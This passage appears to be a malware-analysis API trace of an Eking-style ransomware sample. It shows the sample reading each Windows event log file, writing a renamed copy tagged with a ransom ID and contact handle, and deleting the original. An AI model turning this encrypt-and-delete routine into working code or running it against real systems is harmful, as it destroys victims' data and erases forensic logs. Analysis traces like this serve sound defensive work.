(lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0221.461] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0221.461] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0221.461] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0221.461] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0221.462] ReadFile (in: hFile=0x36c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x110100, lpOverlapped=0x0) returned 1 [0221.498] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x110100, lpOverlapped=0x0) returned 1 [0222.084] ReadFile (in: hFile=0x36c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xf00, lpOverlapped=0x0) returned 1 [0222.084] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf10, lpOverlapped=0x0) returned 1 [0222.084] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0222.084] CloseHandle (hObject=0x36c) returned 1 [0222.085] CloseHandle (hObject=0x368) returned 1 [0222.603] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0222.606] SetEvent (hEvent=0x2b8) returned 1 [0223.001] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0223.003] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0223.003] CloseHandle (hObject=0x358) returned 1 [0223.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0223.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0223.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.003] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0223.003] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.004] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.004] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0223.004] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0223.009] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0223.011] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0223.011] CloseHandle (hObject=0x358) returned 1 [0223.012] CloseHandle (hObject=0x368) returned 1 [0223.015] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0223.017] SetEvent (hEvent=0x2b8) returned 1 [0223.017] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0223.017] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0223.017] CloseHandle (hObject=0x368) returned 1 [0223.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0223.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0223.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.018] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0223.018] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.018] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.018] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0223.021] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0223.025] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0223.028] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0223.028] CloseHandle (hObject=0x368) returned 1 [0223.028] CloseHandle (hObject=0x358) returned 1 [0223.034] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0223.036] SetEvent (hEvent=0x2b8) returned 1 [0223.036] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0223.037] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0223.037] CloseHandle (hObject=0x358) returned 1 [0223.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0223.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0223.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.037] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0223.037] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.038] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.038] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0223.038] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0223.250] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0223.253] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x162, lpOverlapped=0x0) returned 1 [0223.253] CloseHandle (hObject=0x358) returned 1 [0223.254] CloseHandle (hObject=0x368) returned 1 [0223.259] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0223.261] SetEvent (hEvent=0x2b8) returned 1 [0223.262] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0223.262] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0223.262] CloseHandle (hObject=0x368) returned 1 [0223.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0223.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0223.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.263] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0223.263] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.263] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.263] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0223.264] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0223.269] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0223.271] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0223.271] CloseHandle (hObject=0x368) returned 1 [0223.271] CloseHandle (hObject=0x358) returned 1 [0223.277] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0223.278] SetEvent (hEvent=0x2b8) returned 1 [0223.279] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0223.279] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0223.279] CloseHandle (hObject=0x358) returned 1 [0223.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0223.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0223.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.279] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0223.279] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.279] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.279] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0223.282] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0223.469] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0223.471] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0223.471] CloseHandle (hObject=0x358) returned 1 [0223.471] CloseHandle (hObject=0x368) returned 1 [0223.475] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0223.477] SetEvent (hEvent=0x2b8) returned 1 [0223.478] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0223.479] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0223.479] CloseHandle (hObject=0x368) returned 1 [0223.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0223.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0223.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.479] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0223.479] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.479] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.479] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0223.480] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0223.484] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0223.486] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x152, lpOverlapped=0x0) returned 1 [0223.486] CloseHandle (hObject=0x368) returned 1 [0223.486] CloseHandle (hObject=0x358) returned 1 [0223.491] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0223.493] SetEvent (hEvent=0x2b8) returned 1 [0223.493] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0223.494] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0223.494] CloseHandle (hObject=0x358) returned 1 [0223.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0223.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0223.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.495] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0223.495] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.495] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0223.495] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0223.495] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, 